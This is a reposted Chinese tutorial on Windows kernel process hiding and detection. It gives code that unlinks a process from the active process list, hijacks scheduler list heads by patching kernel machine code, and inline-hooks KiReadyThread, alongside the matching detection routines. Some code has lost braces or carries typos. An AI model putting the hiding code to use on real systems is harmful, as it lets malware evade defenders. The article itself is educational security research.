Windows2003 内核级进程隐藏、侦测技术(下)

来源:互联网 发布:热力学软件 编辑:程序博客网 时间:2024/06/03 05:07

在PspCreateProcess内核API中能清晰的找到: 

  InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks); 

  当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。 

  在PspExitProcess内核API中能清晰的找到: 

  RemoveEntryList(&Process->ActiveProcessLinks); 

  所以我们完全可以利用活动进程链表来对进程进行枚举。 

  4. 进程枚举检测Hook SSDT隐藏的进程。 

    事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得PsActiveProcessHead的地址为: 0x8046e460.(在2000 sp4中得到的值) 

  kd> dd PsActiveProcessHead L 2 

  dd PsActiveProcessHead L 2 

  8046e460 81829780 ff2f4c80 

  PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460; 

void DisplayList() 

PLIST_ENTRY List = PsActiveProcessHead->Blink; 

while( List != PsActiveProcessHead ) 

        char* name = ((char*)List-0xa0)+0x1fc; 

        DbgPrint("name = %s/n",name); 

        List=List->Blink;               

  首先把List指向表头后的第一个元素。然后减去0xa0,因为这个时候List指向的并不是EPROCESS块的头,而是指向的它的ActiveProcessLinks成员结构,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要减去这么多,得到EPROCESS的头部。在EPROCESS偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在Dbgview中打印出来。利用Hook SSDT隐藏的进程很容易就被查出来了。 

  5. 解决硬编码问题。 

  在上面我们的PsActiveProcessHead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的SP版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个PsActiveProcessHead的硬编码的问题。 

    ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS。这个结构成员EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的. 

kd> dd PsInitialSystemProcess L 1 

dd PsInitialSystemProcess L 1 

8046e450 818296e0 

kd> !process 818296e0 0 

!process 818296e0 0 

PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000 

    DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141. 

Image: System 

可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS. 

kd> dd 818296e0+0xa0 L 2 

dd 818296e0+0xa0 L 2 

81829780 814d1a00 8046e460 

上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我们的PsActiveProcessHead. 

  6. 删除活动进程链表实现进程隐藏 

  由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。 

void DelProcessList() 

    PLIST_ENTRY List = PsActiveProcessHead->Blink; 

    while( List != PsActiveProcessHead ) 

    { 

        char* name = ((char*)List-0xa0)+0x1fc;      

        if ( !_stricmp(name,"winlogon.exe") ) 

        { 

            DbgPrint("remove %s /n",name); 

            RemoveEntryList(List); 

        } 

        List=List->Blink;               

    } 

  首先和上面的程序一样得到PsActiveProcessHead 头的后面第一个EPROCESS块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把EPROCESS块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的EPROCESS块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。 

  基于线程调度链表的检测和隐藏技术 

  1. 什么是ETHREAD和KTHREAD块 

  Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空间,进程环境块(TEB)除外。ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。在KTHREAD块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。 

kd> !kthread 

struct   _KTHREAD (sizeof=432) 

+000 struct   _DISPATCHER_HEADER Header 

+010 struct   _LIST_ENTRY MutantListHead 

+018 void     *InitialStack 

+01c void     *StackLimit 

+020 void     *Teb 

+024 void     *TlsArray 

+028 void     *KernelStack 

+02c byte     DebugActive 

+02d byte     State 

+02e byte     Alerted[2] 

+030 byte     Iopl 

+031 byte     NpxState 

+032 char     Saturation 

+033 char     Priority 

+034 struct   _KAPC_STATE ApcState 

+034    struct   _LIST_ENTRY ApcListHead[2] 

+044    struct   _KPROCESS *Process 

+04c uint32   ContextSwitches 

+050 int32    WaitStatus 

+054 byte     WaitIrql 

+055 char     WaitMode 

+056 byte     WaitNext 

+057 byte     WaitReason 

+058 struct   _KWAIT_BLOCK *WaitBlockList 

+05c struct   _LIST_ENTRY WaitListEntry 

+064 uint32   WaitTime 

+068 char     BasePriority 

+069 byte     DecrementCount 

+06a char     PriorityDecrement 

+06b char     Quantum 

+06c struct   _KWAIT_BLOCK WaitBlock[4] 

+0cc void     *LegoData 

+0d0 uint32   KernelApcDisable 

+0d4 uint32   UserAffinity 

+0d8 byte     SystemAffinityActive 

+0d9 byte     PowerState 

+0da byte     NpxIrql 

+0db byte     Pad[1] 

+0dc void     *ServiceTable 

+0e0 struct   _KQUEUE *Queue 

+0e4 uint32   ApcQueueLock 

+0e8 struct  _KTIMER Timer 

+110 struct   _LIST_ENTRY QueueListEntry 

+118 uint32   Affinity 

+11c byte     Preempted 

+11d byte     ProcessReadyQueue 

+11e byte     KernelStackResident 

+11f byte     NextProcessor 

+120 void     *CallbackStack 

+124 void     *Win32Thread 

+128 struct   _KTRAP_FRAME *TrapFrame 

+12c struct   _KAPC_STATE *ApcStatePointer[2] 

+134 char     PreviousMode 

+135 byte     EnableStackSwap 

+136 byte     LargeStack 

+137 byte     ResourceIndex 

+138 uint32   KernelTime 

+13c uint32   UserTime 

+140 struct   _KAPC_STATE SavedApcState 

+158 byte     Alertable 

+159 byte     ApcStateIndex 

+15a byte     ApcQueueable 

+15b byte     AutoAlignment 

+15c void     *StackBase 

+160 struct   _KAPC SuspendApc 

+190 struct   _KSEMAPHORE SuspendSemaphore 

+1a4 struct   _LIST_ENTRY ThreadListEntry 

+1ac char     FreezeCount 

+1ad char     SuspendCount 

+1ae byte     IdealProcessor 

+1af byte     DisableBoost 

  在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个ApcState成员结构,在ApcState中的Process域就是指向当前线程关联的进程的KPROCESS块,由于KPROCESS块是EPROCESS块的第一个元素,所以找到了KPROCESS块指针也就是找到了EPROCESS块的指针。找到了EPROCESS就不用多少了,就可以取得当前线程的进程的名字,ID号等。 

  2. 线程调度 

  在windows系统中,线程调度主要分成三条主要的调度链表。分别是KiWaitInListHead, KiWaitOutListhead,KiDispatcherReadyListHead,分别是两条阻塞链,一条就绪链表,当线程获得CPU执行的时候,系统分配一, , 个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根据其优先级载入到相应的就绪队列末尾。KiDispatcherReadyListHead是一个数组链的头部,在windows 2000中它包含有32个队列,分别对应线程的32个优先级。如果线程因为同步,或者是对外设请求,那么阻塞线程,让出CPU的所有权,加如到阻塞队列里面去。CPU从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。 

  3.通过线程调度链表进行隐藏进程的检测 

void DisplayList(PLIST_ENTRY ListHead) 

    PLIST_ENTRY List = ListHead->Flink; 

    if ( List == ListHead ) 

    { 

    // DbgPrint("return/n"); 

        return; 

    } 

    PLIST_ENTRY NextList = List; 

    while ( NextList != ListHead ) 

    { 

        PKTHREAD Thread = ONTAINING_RECORD(NextList, KTHREAD, WaitListEntry); 

        PKPROCESS Process = Thread->ApcState.Process; 

        PEPROCESS pEprocess = (PEPROCESS)Process; 

        DbgPrint("ImageFileName = %s /n",pEprocess->ImageFileName); 

        NextList = NextList->Flink; 

    } 

  以上是对一条链进行进程枚举。所以我们必须找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由于他们都没有被ntoskrnl.exe导出来,所以只有通过硬编码的办法给他们赋值。通过内核调试器,能找到(windows2000 sp4): 

PLIST_ENTRY KiWaitInListHead =          (PLIST_ENTRY)0x80482258; 

PLIST_ENTRY KiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0; 

PLIST_ENTRY KiWaitOutListhead =         (PLIST_ENTRY)0x80482808; 

  遍历所有的线程调度链表。 

for ( i =0; i<32 ;i++ ) 

    DisplayList(KiDispatcherReadyListHead+i); 

DisplayList(KiWaitInListHead); 

DisplayList(KiWaitOutListhead); 

  通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入IOCTL,得到的进程信息把打印在DbgView中把它返回给Ring3的应用程序,然后应用程序对返回的数据进行处理,和Ring3级由PSAPI得到的进程对比,然后判断是不是有隐藏的进程。 

    4.绕过内核调度链表隐藏进程。 

  Xfocus上SoBeIt提出了绕过内核调度链表进程检测。详情可以参见原文: 

  http://www.xfocus.net/articles/200404/693.html 

  由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到KiFindReadyThread等内核API,在KiFindReadyThread里面又会去访问KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段访问KiDispatcherReadyListHead的机器码修改了,把原KiDispatcherReadyListHead的地址改成我们新申请的头。 

kd> u KiFindReadyThread+0x48 

nt!KiFindReadyThread+0x48: 

804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8] 

  很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成DWORD就是804822e0就是我们KiDispatcherReadyListHead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核API,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。 

  申请新的表头空间: 

pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool / 

                        (NonPagedPool,sizeof(LIST_ENTRY));

pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool / 

                        (NonPagedPool, sizeof(LIST_ENTRY)); 

pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool / 

                        (NonPagedPool, 32 * sizeof(LIST_ENTRY)); 

 

  下面仅仅以pNewKiWaitInListHead头为例,其他的表头都是一样的操作。 

  新调度链表的表头替换: 

  InitializeListHead(pNewKiWaitInListHead);   

  把原来的系统链表头摘除,把新的接上去: 

pFirstEntry = pKiWaitInListHead->Flink;

pLastEntry = pKiWaitInListHead->Blink;

pNewKiWaitInListHead->Flink = pFirstEntry;

pNewKiWaitInListHead->Blink = pLastEntry;

pFirstEntry->Blink = pNewKiWaitInListHead;

pLastEntry->Flink = pNewKiWaitInListHead; 

   剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端. 

for(;;) 

    InitializeListHead(pKiWaitInListHead); 

    for(pEntry = pNewKiWaitInListHead->Flink; 

    pEntry && pEntry != pNewKiWaitInListHead; 

    pEntry = pEntry->Flink) 

pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c); 

pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process); 

        PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c); 

        if(PID == 0x8) 

                 continue; 

pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD)); 

        memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD)); 

        InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry); 

...休息一段时间 

  首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个KPROCESS块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ETHREAD块把当前的信息拷贝过去,然后把自己构造的ETHREAD块加入到原来的调度链表中。为什么要自己构造一个ETHREAD?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息, 

  很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ETHREAD块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ETHREAD块里面的成员,如果不自己构造一个和真实ETHREAD块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。 

    实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。 

  5.检测绕过内核调度链表隐藏进程 

  一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改KiFindReadyThread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。 

  Hook 内核函数(KiReadyThread)检测进程 

  1.介绍通用Hook内核函数的方法 

  当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个JMP XXXXXXXX(XXXXXXXX是距自己的Hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。 

char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9对应Jmp偏移量指令 

*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//获得偏移量 

memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原来的代码 

memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆盖前一个命令为一个跳转指令 

  在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。那么一般就自己实现一个: 

MyKiReadyThread(...) 

    ...... 

    call KiReadyThread 

    ...... 

但是用C编译器编译出来的代码会出现一个堆栈帧: 

Push ebp 

mov ebp,esp 

这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实MyKiReadyThread。 

_MyKiReadyThread @0 proc 

    pushad      ;保存通用寄存器 

    call _cfunc@0 ;这里是在进入原来函数前进行的一些处理。 

    popad       ;恢复通用寄存器 

    push eax   

    mov eax,[esp+4] ;得到系统在call 目标函数时入栈的返回地址。 

    mov ds:_OrgRet,eax ;保存在一个临时变量中 

    pop eax 

mov [esp],retaddr ;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理 

    jmp _OrgDestFunction ;跳到原目标函数中 

retaddr: 

    pushad         ;原函数处理完后保存寄存器 

    call _HookDestFunction@0 ;再Hook 

    popad ;回复寄存器 

    jmp ds:_OrgRet ;跳到系统调用目标函数的下一条指令。 

_MyKiReadyThread@0 endp 

  在实现了Hook过后在当调用原来的函数时(jmp _OrgDestFunction),这个时候所以寄存器的值和堆栈信息和没Hook的时候一样。在返回到系统的时候(jmp ds:_OrgRet),这个时候的堆栈信息和寄存器的值和没有Hook的时候也是一样。就说是中间Hook层对下面和上面都是透明的。 

  2. 检测隐藏进程 

  在线程调度抢占的的时候会调用KiReadyThread,它的原型为: 

  VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread); 

  在进入KiReadyThread时,ecx指向Thread。所以完全可以Hook KiReadyThread 然后用ecx的值得到但前线程的进程信息。KiReadyThread没被ntosknrl.exe导出,所以通过硬编码来。在2000Sp4中地址为0x8043141f。 

void cfunc (void) 

    ULONG PKHeader=0; 

    __asm 

    { 

        mov PKHeader,ecx //ecx寄存器是KiReadyThread中的PRKTHREAD参数 

    } 

    ResumeDestFunction(); //恢复头5个字节 

    

    if ( PKHeader != 0 ) 

    { 

        DisplayName((PKTHREAD)PKHeader);    

    }   

cfun是Hook函数调用用来得到当前线程抢占的进程信息的。 

 void DisplayName(PKTHREAD Thread) 

    PKPROCESS Process = Thread->ApcState.Process; 

    PEPROCESS pEprocess = (PEPROCESS)Process; 

    DbgPrint("ImageFileName = %s /n",pEprocess->ImageFileName); 

void HookDestFunction() //设置头个字节为一个跳转指令,跳到自己的函数中去 

    DisableWriteProtect(&orgcr0); 

    memcpy((char*)OrgDestFunction,JmpMyCode,5); 

    EnableWriteProtect(orgcr0); 

void ResumeDestFunction() //恢复头5个字节 

    DisableWriteProtect(&orgcr0); 

    memcpy((char*)OrgDestFunction,OrgCode,5); 

    EnableWriteProtect(orgcr0); 

  除了KiReadyThread其他还可以Hook其他内核函数,只有hook过后能得到线程或者是进程的ETHREAD或者是EPROCESS结构头地址。其Hook的方法都是一样的。Hook KiReadyThread基本原来说明了,详细实现可以见我的另外一篇文章《内核级利用通用Hook函数方法检测进程》。 

  结论 

    以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。 

    信息安全将是未来发展的一个重点,攻击和侦测都有一个向底层靠拢的趋势。进程隐藏和侦测只是信息安全中的很小的一个部分。未来病毒和反病毒底层化是一个不可逆转的事实。通过对系统系统底层分析能更好的了解病毒技术,从而能够有效的进行查杀。为以后从事信息安全方面的研究奠定一个好的基础。

原创粉丝点击